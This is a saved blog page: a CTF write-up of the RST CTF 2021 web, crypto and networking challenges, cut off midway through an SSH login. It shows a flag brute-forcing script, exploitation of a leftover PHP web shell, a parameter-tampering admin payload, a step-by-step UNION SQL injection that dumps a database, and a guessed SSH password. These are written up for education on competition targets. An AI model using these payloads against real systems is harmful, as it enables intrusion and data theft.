/
writeup.html
317 lines (268 loc) · 66.1 KB
/
writeup.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
<!DOCTYPE html>
<!-- saved from url=(0052)https://antoniomacovei.com/blog/rst-ctf-2021-writeup -->
<html lang="en" wtx-context="A38CAAB3-64C7-4C52-909E-72DEB8A9CFCA"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<!-- Meta -->
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<!-- CSRF Token -->
<meta name="csrf-token" content="00U9jr45k8I7NqVQ1QrY2blRbY0YqXCiN2NxLXFc">
<!-- Title -->
<title>Antonio Macovei</title>
<!-- SEO tags -->
<meta name="description" content="Antonio Macovei - Personal Website & Blog">
<meta property="og:title" content="Antonio Macovei">
<meta property="og:description" content="Antonio Macovei - Personal Website & Blog">
<meta property="og:image" content="https://antoniomacovei.com/img/profile.jpg">
<meta property="og:url" content="https://antoniomacovei.com">
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="" src="./writeup_files/js"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-174205700-1');
</script>
<!-- CSS Plugins -->
<link rel="stylesheet" href="./writeup_files/bootstrap.min.css">
<link rel="stylesheet" href="./writeup_files/font-awesome.css">
<link rel="stylesheet" href="./writeup_files/magnific-popup.css">
<link rel="stylesheet" href="./writeup_files/simplebar.css">
<link rel="stylesheet" href="./writeup_files/owl.carousel.min.css">
<link rel="stylesheet" href="./writeup_files/owl.theme.default.min.css">
<link rel="stylesheet" href="./writeup_files/jquery.animatedheadline.css">
<link rel="stylesheet" href="./writeup_files/highlight.tomorrow-night-bright.css">
<!-- CSS Base -->
<link rel="stylesheet" href="./writeup_files/style-dark.css">
<!-- Settings Style -->
<link rel="stylesheet" href="./writeup_files/top-nav.css">
<link rel="stylesheet" href="./writeup_files/box.css">
<link rel="stylesheet" href="./writeup_files/hexagon.css">
<link rel="stylesheet" href="./writeup_files/title.css">
<link rel="stylesheet" href="./writeup_files/red-color.css">
<style>.cke{visibility:hidden;}</style></head>
<body cz-shortcut-listen="true" style="">
<div id="app"><div id="preloader" class="loaded" style="position: absolute !important;"><div class="loading-area"><div class="circle"></div></div> <div class="left-side"></div> <div class="right-side"></div></div> <div id="home"><div id="about"><div id="blog"><div id="contact"><div class="header-mobile" style="position: absolute !important;"><a class="header-toggle"><i class="fas fa-bars"></i></a> <h2>Antonio Macovei</h2></div> <nav data-simplebar="init" class="header-main" style="position: absolute !important;"><div class="simplebar-wrapper" style="margin: 0px;"><div class="simplebar-height-auto-observer-wrapper"><div class="simplebar-height-auto-observer"></div></div><div class="simplebar-mask"><div class="simplebar-offset" style="right: 0px; bottom: 0px;"><div class="simplebar-content" style="padding: 0px; height: 100%; overflow: hidden;"><ul><li data-tooltip="home" data-position="left"><a href="https://antoniomacovei.com/#home" class="icon-h fas fa-home"></a></li> <li data-tooltip="about" data-position="right"><a href="https://antoniomacovei.com/#about" class="icon-a fas fa-user-tie"></a></li> <li data-tooltip="blog" data-position="right"><a href="https://antoniomacovei.com/#blog" class="icon-b fas fa-pencil-alt"></a></li> <li data-tooltip="contact" data-position="right"><a href="https://antoniomacovei.com/#contact" class="icon-c fas fa-envelope"></a></li></ul></div></div></div><div class="simplebar-placeholder" style="width: 2133px; height: 100px;"></div></div><div class="simplebar-track simplebar-horizontal" style="visibility: hidden;"><div class="simplebar-scrollbar" style="transform: translate3d(0px, 0px, 0px); visibility: hidden;"></div></div><div class="simplebar-track simplebar-vertical" style="visibility: hidden;"><div class="simplebar-scrollbar" style="transform: translate3d(0px, 0px, 0px); visibility: hidden;"></div></div></nav> <div data-simplebar="init" class="blog-page"><div class="simplebar-wrapper" style="margin: 0px;"><div class="simplebar-height-auto-observer-wrapper"><div class="simplebar-height-auto-observer"></div></div><div class="simplebar-mask"><div class="simplebar-offset" style="right: -19px; bottom: 0px;"><div class="simplebar-content" style="padding: 0px; height: 100%; overflow: hidden scroll;"><div class="blog-image"></div> <div class="row blog-container"><div class="col-md-10 offset-md-1"><div class="blog-heading pt-70 pb-10"><h2>RST CTF #1 2021 - Write Up</h2> <span><i class="fas fa-calendar-alt"></i>April 21st, 2021 at 12:00</span> <span><i class="fas fa-user"></i>Antonio Macovei</span> <span><i class="fas fa-layer-group"></i><a href="https://antoniomacovei.com/blog/category/ctf">CTF</a></span></div> <div class="blog-heading pb-100"><span><i class="fas fa-tag"></i><a href="https://antoniomacovei.com/blog/tag/sqli">SQLi</a></span> <span><i class="fas fa-tag"></i><a href="https://antoniomacovei.com/blog/tag/steganography">Steganography</a></span> <span><i class="fas fa-tag"></i><a href="https://antoniomacovei.com/blog/tag/cryptography">Cryptography</a></span></div> <div class="blog-content mb-rem-5"><p>Last weekend (17 - 18 April 2021) I participated in the RST CTF, organized by the <a href="https://rstforums.com/forum/" target="_blank">Romanian Security Team</a>. I managed to finish on the <strong>First Place</strong> with <strong>20 out of 21 challenges</strong> solved. The competition lasted <strong>48 hours</strong> and my final score was of <strong>2407 points</strong>.</p> <p>I have really enjoyed solving these challenges, as they brushed up on my skills from different areas, such as cryptography, steganography, networking, etc.</p> <p>Table of contents:</p> <ul><li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#api">API</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#elevi">Elevi</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#admin">Admin</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#smsuri">SMS-uri</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#onboarding">Onboarding</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#server">Server</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#traficant">Traficant</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#rst">RST</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#biletul-criptat">Biletul criptat</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#strabunicul-lui-cezar">Strabunicul lui Cezar</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#asteroidul">Asteroidul</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#steagul-corupt">Steagul corupt</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#crackpass">Crackpass</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#noflag">NoFlag</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#hecsagon">Hecsagon</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#sigla">Sigla</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#valuri">Valuri</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#stegano-ii">Stegano II</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#animalul">Animalul</a></li> <li><a href="https://antoniomacovei.com/blog/rst-ctf-2021-writeup#poza">Poza</a></li></ul> <h3><a id="api" name="api">1. API (120p)</a></h3> <ul><li><strong>Category:</strong> Web</li> <li><strong>Author:</strong> Dragos</li></ul> <blockquote><p>Avem un API mai ciudatel pentru a verifica daca flag-ul trimis este cel cautat. Poti descoperi care e flag-ul?</p> <p>We have a strange API to check if the flag sent is the valid one. Can you discover the flag?</p></blockquote> <p>This challenge presents a simple web application. The first thing you see is an error:</p> <p style="text-align:center"><img alt="" src="./writeup_files/api-1.jpg"></p> <p>Playing around with the GET parameters and using my intuition, I find that it accepts a parameter called flag and outputs a hash. Moreover, fuzzing the value of this flag, I noticed that I can get a different response for certain characters. Sending <code>0</code> for example gives the following output:</p> <pre><code class="language-json hljs">{<span class="hljs-attr">"rezultat"</span>:<span class="hljs-string">"partial corect"</span>,<span class="hljs-attr">"flag_trimis_criptat"</span>:<span class="hljs-string">"cfcd208495d565ef66e7dff9f98764da"</span>}</code></pre> <p>The message above states that the result is partially correct. Fuzzing a little more I identified more numbers and characters that give this partially correct message. Finally, I understood what this API does - it takes my input and checks if it is part of the flag (like a substring).</p> <p>I then tried to create a python script that brute forces all printable characters and assembles an alphabet which I can use to get the flag. Finally, I have luckily found the last letter of the flag - <code>e</code> - where no other character was accepted afterwards, so I made the script to search for the flag in reverse order.</p> <pre><code class="language-python hljs"><span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> string
URL = <span class="hljs-string">'http://vps-e78e5aab.vps.ovh.net/chall?flag='</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_alphabet</span>():</span>
print(<span class="hljs-string">"Identifying the alphabet..."</span>)
alphabet = string.printable
result = []
<span class="hljs-keyword">for</span> item <span class="hljs-keyword">in</span> alphabet:
r = requests.get(URL + item)
<span class="hljs-keyword">if</span> <span class="hljs-string">'partial corect'</span> <span class="hljs-keyword">in</span> r.text:
result.append(item)
<span class="hljs-keyword">return</span> result
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_flag</span>(<span class="hljs-params">alphabet</span>):</span>
print(<span class="hljs-string">"Getting the flag..."</span>)
flag = <span class="hljs-string">'e'</span>
<span class="hljs-keyword">while</span> len(flag) < <span class="hljs-number">64</span> + <span class="hljs-number">5</span>:
<span class="hljs-keyword">for</span> item <span class="hljs-keyword">in</span> alphabet:
r = requests.get(URL + item + flag)
<span class="hljs-keyword">if</span> <span class="hljs-string">'partial corect'</span> <span class="hljs-keyword">in</span> r.text:
flag += item
print(flag)
<span class="hljs-keyword">break</span>
<span class="hljs-keyword">return</span> flag
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
alphabet = get_alphabet()
print(alphabet)
flag = get_flag(alphabet)
print(flag)
</code></pre> <p>The output of this script was the following:</p> <pre><code class="language-bash hljs">┌──(znq㉿new-york)-[~/win/RST/API]
└─$ python3 brute.py
Identifying the alphabet...
[<span class="hljs-string">'0'</span>, <span class="hljs-string">'2'</span>, <span class="hljs-string">'3'</span>, <span class="hljs-string">'4'</span>, <span class="hljs-string">'5'</span>, <span class="hljs-string">'6'</span>, <span class="hljs-string">'7'</span>, <span class="hljs-string">'8'</span>, <span class="hljs-string">'9'</span>, <span class="hljs-string">'e'</span>, <span class="hljs-string">'f'</span>, <span class="hljs-string">'g'</span>, <span class="hljs-string">'n'</span>, <span class="hljs-string">'o'</span>, <span class="hljs-string">'p'</span>, <span class="hljs-string">'q'</span>, <span class="hljs-string">'r'</span>, <span class="hljs-string">'s'</span>, <span class="hljs-string">'E'</span>, <span class="hljs-string">'F'</span>, <span class="hljs-string">'G'</span>, <span class="hljs-string">'N'</span>, <span class="hljs-string">'O'</span>, <span class="hljs-string">'P'</span>, <span class="hljs-string">'Q'</span>, <span class="hljs-string">'R'</span>, <span class="hljs-string">'S'</span>, <span class="hljs-string">'{'</span>, <span class="hljs-string">'}'</span>]
Getting the flag...
}4qroor2739o537n62p08r98r0p92n604767pqrosq09203rpr728os434qqsrn48{gfe</code></pre> <p>So the flag is still encrypted somehow. It can be easily noticed that all characters from the flag above are at the end of the english alphabet, which suggests that if this was a SHA256 flag, rot13 was applied to it. Applying rot13 and reversing the string using <a href="https://gchq.github.io/CyberChef/#recipe=Reverse('Character')ROT13(true,true,false,13)&input=fTRxcm9vcjI3MzlvNTM3bjYycDA4cjk4cjBwOTJuNjA0NzY3cHFyb3NxMDkyMDNycHI3MjhvczQzNHFxc3JuNDh7Z2Zl" target="_blank">CyberChef</a> finally resulted in my flag.</p> <p>Flag: <span style="color:#e74c3c"><strong>RST{84aefdd434fb827ece30290dfbedc767406a29c0e89e80c26a735b9372ebbed4}</strong></span></p> <h3><a id="elevi" name="elevi">2. Elevi (120p)</a></h3> <ul><li><strong>Category:</strong> Web</li> <li><strong>Author:</strong> YKelyan</li></ul> <blockquote><p>Un grup de elevi si cateva practici proaste. Ce se poate intampla?</p> <p>A group of students and a few bad practices. What could happen?</p></blockquote> <p>This challenge presents a simple (pretty ugly) web application made by some students.</p> <p style="text-align:center"><img alt="" height="284" src="./writeup_files/elevi-1.jpg" width="900"></p> <p>Simple navigation on some other pages from the main menu reveals a potential Local File Inclusion (LFI) vulnerability, as the pages were included as a GET parameter - <code>?view=about-us.html</code>.</p> <p style="text-align:center"><img alt="" height="370" src="./writeup_files/elevi-2.jpg" width="1717"></p> <p>Another interesting thing was found by looking at the source code of the page, where a comment has been left over by one of the developers:</p> <pre><code class="language-html hljs xml"><span class="hljs-comment"><!--Mihai, nu uita sa verifici fisierele css! (http://127.0.0.1/shell.php) -ANDRADA- --></span></code></pre> <p>It was a path to a critical file - which was still available in production: shell.php. This file allows anyone to run shell commands on the server.</p> <p style="text-align:center"><img alt="" height="464" src="./writeup_files/elevi-3.jpg" width="1717"></p> <p>Issuing the command cat shell.php, I could see the code of the page - which revealed another dangerous functionality:</p> <pre><code class="language-php hljs"><span class="hljs-keyword">if</span> (<span class="hljs-keyword">isset</span>($_GET[<span class="hljs-string">'download'</span>])) {
$file = $_GET[<span class="hljs-string">'download'</span>];
<span class="hljs-keyword">if</span> (file_exists($file)) {
header(<span class="hljs-string">'Content-Description: File Transfer'</span>);
header(<span class="hljs-string">'Content-Type: application/octet-stream'</span>);
header(<span class="hljs-string">'Content-Disposition: attachment;
filename="'</span>.basename($file).<span class="hljs-string">'"'</span>);
header(<span class="hljs-string">'Expires: 0'</span>);
header(<span class="hljs-string">'Cache-Control: must-revalidate'</span>);
header(<span class="hljs-string">'Pragma: public'</span>);
header(<span class="hljs-string">'Content-Length: '</span> . filesize($file));
readfile($file);
<span class="hljs-keyword">exit</span>;
}</code></pre> <p>With this functionality, I can also donwload any file from the server. However, it is not necessarily useful for our purpose.</p> <p>Looking all over the server for interesting files, I could not find anything that contained the flag. However, I did find a readme file on the current directory listing:</p> <pre><code class="language-bash hljs">Result of <span class="hljs-built_in">command</span> execution:
total 32
drwxr-xr-x. 2 centos centos 133 Apr 16 22:34 .
drwxr-xr-x. 4 root root 33 Apr 16 20:46 ..
-rw-r--r--. 1 centos centos 661 Apr 16 20:51 about-us.html
-rw-r--r--. 1 centos centos 38 Apr 16 21:17 contact-us.html
-rw-r--r--. 1 centos centos 843 Apr 16 21:39 index.php
-rw-r--r--. 1 centos centos 427 Apr 16 20:52 media.html
-rw-r--r--. 1 centos centos 146 Apr 16 21:03 readme
-rw-r--r--. 1 centos centos 5226 Apr 16 20:52 shell.php
-rw-r--r--. 1 centos centos 518 Apr 16 21:09 style.css</code></pre> <p>Getting its content, there is a strange message inside and a long hex string:</p> <pre><code class="language-bash hljs">Result of <span class="hljs-built_in">command</span> execution:
What is this? Maybe you should check /etc/.....
201dc88daf95daf8a18ae57d0691d547ac3a5ce77d15620ec6b109eef9697917f7e18ada1d2c7620ab17d9b3e476197e</code></pre> <p>Going over to the <code>/etc/</code> folder, I inspected the most used files, such as <code>/etc/hostname</code>, <code>/etc/hosts/</code>, etc. Fortunately, <code>/etc/hosts</code> had something interesting as well - two comments.</p> <pre><code class="language-bash hljs">Result of <span class="hljs-built_in">command</span> execution:
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
<span class="hljs-comment">#key 7B7B526F6D616E69616E53656375726974795465616D7D7D</span>
<span class="hljs-comment">#nonce = key</span>
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
127.0.0.1 vps-97f3ceaa.vps.ovh.net vps-97f3ceaa</code></pre> <p>This got me to thinking it could be a keyed cipher, so I tried to decrypt the first string using AES in CBC mode with the key mentioned in the second file and the IV same as key. Bingo! <a href="https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'7B7B526F6D616E69616E53656375726974795465616D7D7D'%7D,%7B'option':'Hex','string':'7B7B526F6D616E69616E53656375726974795465616D7D7D'%7D,'CBC','Hex','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=MjAxZGM4OGRhZjk1ZGFmOGExOGFlNTdkMDY5MWQ1NDdhYzNhNWNlNzdkMTU2MjBlYzZiMTA5ZWVmOTY5NzkxN2Y3ZTE4YWRhMWQyYzc2MjBhYjE3ZDliM2U0NzYxOTdl" target="_blank">CyberChef</a> managed to decode the message:</p> <p style="text-align:center"><img alt="" src="./writeup_files/elevi-4.jpg"></p> <p>Flag: <span style="color:#e74c3c"><strong>RST{sacmxke0xakosoicd31jsgd01lsaly10san2}</strong></span></p> <h3><a id="admin" name="admin">3. Admin (168p)</a></h3> <ul><li><strong>Category:</strong> Web</li> <li><strong>Author:</strong> Nytro</li></ul> <blockquote><p>Doar adminii au acces la flag!</p> <p>Only admins have access to the flag!</p></blockquote> <p>The web application presents a simple login and register form. Creating an user account and then logging in unfortunately results in a message saying that we are not admins.</p> <p style="text-align:center"><img alt="" src="./writeup_files/admin-1.jpg"></p> <p style="text-align:center"><img alt="" src="./writeup_files/admin-2.jpg"></p> <p>I started to look for interesting things, but there were no useful cookies, no useful information in the page source code, nothing. Then, I thought of fuzzing new parameters to the reuqest. I intercepted the register request in Burp and sent it to Repeater, where I added various attributes, then checked them by logging in. Fortunately, the correct one was pretty straight-forward - I added admin=1 and got the flag. The payload:</p> <pre><code class="language-html hljs xml">username=user5&password=123&admin=1&register=Inregistrare</code></pre> <p style="text-align:center"><img alt="" src="./writeup_files/admin-3.jpg"></p> <p>Flag: <span style="color:#e74c3c"><strong>RST{8d288f354069331fc1473f373a012d49a3f203003f03dd4d2b2404153a147c2f}</strong></span></p> <h3><a id="smsuri" name="smsuri">4. SMS-uri (190p)</a></h3> <ul><li><strong>Category:</strong> Web</li> <li><strong>Author:</strong> Dragos</li></ul> <blockquote><p>Am descoperit un server de SMS-uri, dar aparent e blocat. Poti sa intri sa vezi despre ce e vorba?</p> <p>I discovered an SMS server, but apparently it's blocked. Could you enter and see what is this about?</p></blockquote> <p>This challenge was released later in the competition. The staff also mentioned that it could contain possible hints for other challenges with no solves, and as it can be seen further down this document, I actually used some of the hints.</p> <p>Going back to the challenge at hand, I navigated to the URL provided and I was welcomed with an error message:</p> <p style="text-align:center"><img alt="" src="./writeup_files/smsuri-1.jpg"></p> <p>Seeing that the GET method is not allowed, I thought of using other methods. Unfortunately, none of the well known ones worked (e.g. POST, PUT, DELETE, etc). However, using a random word instead of a valid method name actually returned something. For this purpose, I used Burp to intercept the request and change the request method to FUZZ.</p> <p>The result was the following JSON object:</p> <pre><code class="language-json hljs">{
<span class="hljs-attr">"autor"</span>:{
<span class="hljs-attr">"id"</span>:<span class="hljs-number">453</span>,
<span class="hljs-attr">"nume_rst"</span>:<span class="hljs-string">"Alex"</span>
},
<span class="hljs-attr">"mesaje"</span>:[
{
<span class="hljs-attr">"data"</span>:<span class="hljs-string">"04\/17 8:05 AM"</span>,
<span class="hljs-attr">"culoare"</span>:<span class="hljs-string">"#6d6573"</span>,
<span class="hljs-attr">"mesaj"</span>:<span class="hljs-string">"Tocmai am citit despre aplicatia asta noua si mi-am facut un cont. Sper ca imi cripteaza datele."</span>
},
{
<span class="hljs-attr">"data"</span>:<span class="hljs-string">"04\/17 8:15 AM"</span>,
<span class="hljs-attr">"culoare"</span>:<span class="hljs-string">"#616a65"</span>,
<span class="hljs-attr">"mesaj"</span>:<span class="hljs-string">"Am intzeles acum intrun final ce inseamna sha256 si cum se crypteaza datele."</span>
},
{
<span class="hljs-attr">"data"</span>:<span class="hljs-string">"04\/17 9:30 AM"</span>,
<span class="hljs-attr">"culoare"</span>:<span class="hljs-string">"#647562"</span>,
<span class="hljs-attr">"mesaj"</span>:<span class="hljs-string">"Mama zice ca stau prea mult pe calculator. Zice sa ies afara, sa vedem daca pot sa scriu ceva cu telefonul meu busit."</span>
},
{
<span class="hljs-attr">"data"</span>:<span class="hljs-string">"04\/17 10:01 AM"</span>,
<span class="hljs-attr">"culoare"</span>:<span class="hljs-string">"#696f61"</span>,
<span class="hljs-attr">"mesaj"</span>:<span class="hljs-string">"o zi obiSnuitA de weekend, nimic sPecial. soarele e pe cer, nu sTim daca va mai ningE, vremea e HAZLIE."</span>
},
{
<span class="hljs-attr">"data"</span>:<span class="hljs-string">"04\/17 10:15 AM"</span>,
<span class="hljs-attr">"culoare"</span>:<span class="hljs-string">"#73653f"</span>,
<span class="hljs-attr">"mesaj"</span>:<span class="hljs-string">"Aplicatie de cacao, nu cripteaza nimic, oricine poate sa-mi vada mesajele. Imi sterg contul."</span>
}
]
}</code></pre> <p>Further inspection of the contents came up empty. However, among some random things I tried, I thought of concatenating all color codes (which are written in hex) and decode them. To my surprise, it actually decoded to something readable:</p> <pre><code class="language-python hljs"><span class="hljs-meta">>>> </span>bytes.fromhex(<span class="hljs-string">"6d6573616a65647562696f6173653f"</span>)
<span class="hljs-string">b'mesajedubioase?'</span></code></pre> <p>I used SHA256 to hash this message and add the RST{} tags around it and it worked!</p> <p>Flag: <span style="color:#e74c3c"><strong>RST{68d99e223b2f2e0c4fe53785f2755710e9b841e5cbf3e35be563fa637aee24b6}</strong></span></p> <h3><a id="onboarding" name="onboarding">5. Onboarding (200p)</a></h3> <ul><li><strong>Category:</strong> Web</li> <li><strong>Author:</strong> Nytro</li></ul> <blockquote><p>Aplicatia asta permite un onboarding mai usor pentru toti utilizatorii, dar ascunde si ceva in plus. Poti gasi ce?</p> <p>This application enables an easier onboarding process for all users, but it also hides something. Can you find out what?</p></blockquote> <p>As one of the most interesting challenges, this one involved an out-of-band SQL injection. The web page presents two forms - login and register.</p> <p style="text-align:center"><img alt="" height="186" src="./writeup_files/onboarding-1.jpg" width="510"></p> <p>After some fuzzing of parameter values with different payloads (LFI, XSS, etc.), I noticed that anything besides the <code>RO</code> value for the country field resulted in an error. Moreover, sending a payload of <code>RO'</code> didn't trigger the error - meaning that the <code>country</code> field might be vulnerable to SQL injection.</p> <p>However, in order to see if the payload was successful or not, I had to use the login form.</p> <p style="text-align:center"><img alt="" height="128" src="./writeup_files/onboarding-2.jpg" width="491"></p> <p>Moving over to Burp, I confirmed the vulnerability by adding an <code>ORDER BY</code> clause and still getting the normal output instead of an error. Next, in order to confirm the number of columns returned by the query, I used the column index as the order criteria and managed to find that there are 3 columns - using <code>ORDER BY 4</code> returned an error.</p> <p style="text-align:center"><img alt="" height="289" src="./writeup_files/onboarding-3.jpg" width="1004"></p> <p style="text-align:center"><img alt="" height="291" src="./writeup_files/onboarding-4.jpg" width="1011"></p> <p>With everything working good so far, I proceeded to get the database schema in order to find potential locations of the flag. Below are the queries used and their results:</p> <pre><code class="language-sql hljs">RO' ORDER BY 1 <span class="hljs-comment">-- '</span>
> Tara: RO
RO' UNION <span class="hljs-keyword">SELECT</span> <span class="hljs-number">1</span>,table_name,<span class="hljs-number">3</span> <span class="hljs-keyword">FROM</span> information_schema.tables <span class="hljs-keyword">ORDER</span> <span class="hljs-keyword">BY</span> <span class="hljs-number">1</span> <span class="hljs-keyword">DESC</span> <span class="hljs-keyword">LIMIT</span> <span class="hljs-number">1</span> <span class="hljs-comment">-- '</span>
> Tara: ALL_PLUGINS
RO<span class="hljs-string">' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE TABLE_TYPE = '</span>BASE <span class="hljs-keyword">TABLE</span><span class="hljs-string">' ORDER BY 2 ASC LIMIT 1,1 -- '</span>
> Tara: flags
RO<span class="hljs-string">' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE TABLE_NAME = '</span>flags<span class="hljs-string">' ORDER BY 2 ASC LIMIT 1,1 -- '</span>
> Tara: <span class="hljs-keyword">id</span>
RO<span class="hljs-string">' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE TABLE_NAME = '</span>flags<span class="hljs-string">' LIMIT 2,1 -- '</span>
> Tara: flag
RO<span class="hljs-string">' UNION SELECT 1,flag,3 FROM flags LIMIT 1,1 -- '</span>
> Tara: RST{f415d1ee20062ff522e55c44dce38134a18da2bf4bbbbceacadd0cbdedaf7cfe}</code></pre> <p>An important aspect of the above injection is the use of the <code>LIMIT 1</code> and <code>LIMIT 1,1</code> clauses. This is needed because the <code>UNION SELECT</code> query might return multiple rows and the application will show an error if that happens. With the <code>LIMIT</code> clause, I can control how many rows are returned and which ones (in <code>LIMIT 1,1</code> - the first <code>1</code> is the index of the row).</p> <p>Flag: <span style="color:#e74c3c"><strong>RST{f415d1ee20062ff522e55c44dce38134a18da2bf4bbbbceacadd0cbdedaf7cfe}</strong></span></p> <h3><a id="server" name="server">6. Server (200p)</a></h3> <ul><li><strong>Category:</strong> Networking</li> <li><strong>Author:</strong> Nytro</li></ul> <blockquote><p>Unele probleme se pot rezolva fie prin inteligenta, fie prin forta.</p> <p>Some problems can either be solved through intelligence or brute-force.</p></blockquote> <p>This challenge is part of the networking category, so it made sense to scan the network for anything interesting using nmap:</p> <pre><code class="language-bash hljs">┌──(znq㉿new-york)-[~/win/RST]
└─$ nmap -p- vps-d8fa07dd.vps.ovh.net
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-18 18:29 EEST
Nmap scan report <span class="hljs-keyword">for</span> vps-d8fa07dd.vps.ovh.net (135.125.239.31)
Host is up, received syn-ack (0.056s latency).
Other addresses <span class="hljs-keyword">for</span> vps-d8fa07dd.vps.ovh.net (not scanned): 2001:41d0:701:1100::413e
Scanned at 2021-04-18 18:29:56 EEST <span class="hljs-keyword">for</span> 147s
Not shown: 65524 closed ports
Reason: 65524 conn-refused
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
25/tcp filtered smtp no-response
80/tcp open http syn-ack
111/tcp open rpcbind syn-ack
135/tcp filtered msrpc no-response
136/tcp filtered profile no-response
137/tcp filtered netbios-ns no-response
138/tcp filtered netbios-dgm no-response
139/tcp filtered netbios-ssn no-response
445/tcp filtered microsoft-ds no-response
3306/tcp open mysql syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap <span class="hljs-keyword">done</span>: 1 IP address (1 host up) scanned <span class="hljs-keyword">in</span> 147.82 seconds</code></pre> <p>Next few hours, I tried to bruteforce different services, as I had no other information about the target. I focused on the MySQL and SSH services, but I got nothing. The other ports were a dead end as well. I could not find anything else useful, so I asked the author for a hint, and he told me to look again at the challenge description. I tried to brute force the usernames already, so I switched to the intelligent approach.</p> <p>My target was a server, as the name of the challenge suggested, so it could make sense that the user was called <code>admin</code>. Next, I tried to guess its password, and after a few tries from some lists of common passwords, which all failed as previously mentioned, I noticed that all these lists had mostly lowercase characters. Then, I tried again with the first password that came into my mind that contained both lowercase and uppercase characters, a number and a special character. And luckily, it matched! I could log on using SSH with the user <code>admin</code> and password <code>Password1!</code>.</p> <pre><code class="hljs yaml"><span class="hljs-string">┌──(znq㉿new-york)-[~/win/RST]</span>
<span class="hljs-string">└─$</span> <span class="hljs-string">ssh</span> <span class="hljs-string">admin@vps-d8fa07dd.vps.ovh.net</span>
<span class="hljs-string">admin@vps-d8fa07dd.vps.ovh.net's</span> <span class="hljs-attr">password:</span>
<span class="hljs-attr">Activate the web console with:</span> <span class="hljs-string">systemctl</span> <span class="hljs-string">enable</span> <span class="hljs-string">--now</span> <span class="hljs-string">cockpit.socket</span>
<span class="hljs-attr">Last failed login:</span> <span class="hljs-string">Sun</span> <span class="hljs-string">Apr</span> <span class="hljs-number">18</span> <span class="hljs-number">17</span><span class="hljs-string">:57:08</span> <span class="hljs-string">UTC</span> <span class="hljs-number">2021 </span><span class="hljs-string">from</span> <span class="hljs-number">188.25</span><span class="hljs-number">.91</span><span class="hljs-number">.200</span> <span class="hljs-string">on</span> <span class="hljs-string">ssh:notty</span>
<span class="hljs-string">There</span> <span class="hljs-string">were</span> <span class="hljs-number">6</span> <span class="hljs-string">failed</span> <span class="hljs-string">login</span> <span class="hljs-string">attempts</span> <span class="hljs-string">since</span> <span class="hljs-string">the</span> <span class="hljs-string">last</span> <span class="hljs-string">successful</span> <span class="hljs-string">login.</span>
<span class="hljs-attr">Last login:</span> <span class="hljs-string">Sun</span> <span class="hljs-string">Apr</span> <span class="hljs-number">18</span> <span class="hljs-number">17</span><span class="hljs-string">:42:35</span> <span class="hljs-number">2021 </span><span class="hljs-string">from</span> <span class="hljs-number">86.120</span><span class="hljs-number">.225</span><span class="hljs-number">.222</span>
[<span class="hljs-string">admin@vps-d8fa07dd</span> <span class="hljs-string">~</span>]<span class="hljs-string">$</span> <span class="hljs-string">ls</span>
<span class="hljs-string">flag.txt</span>
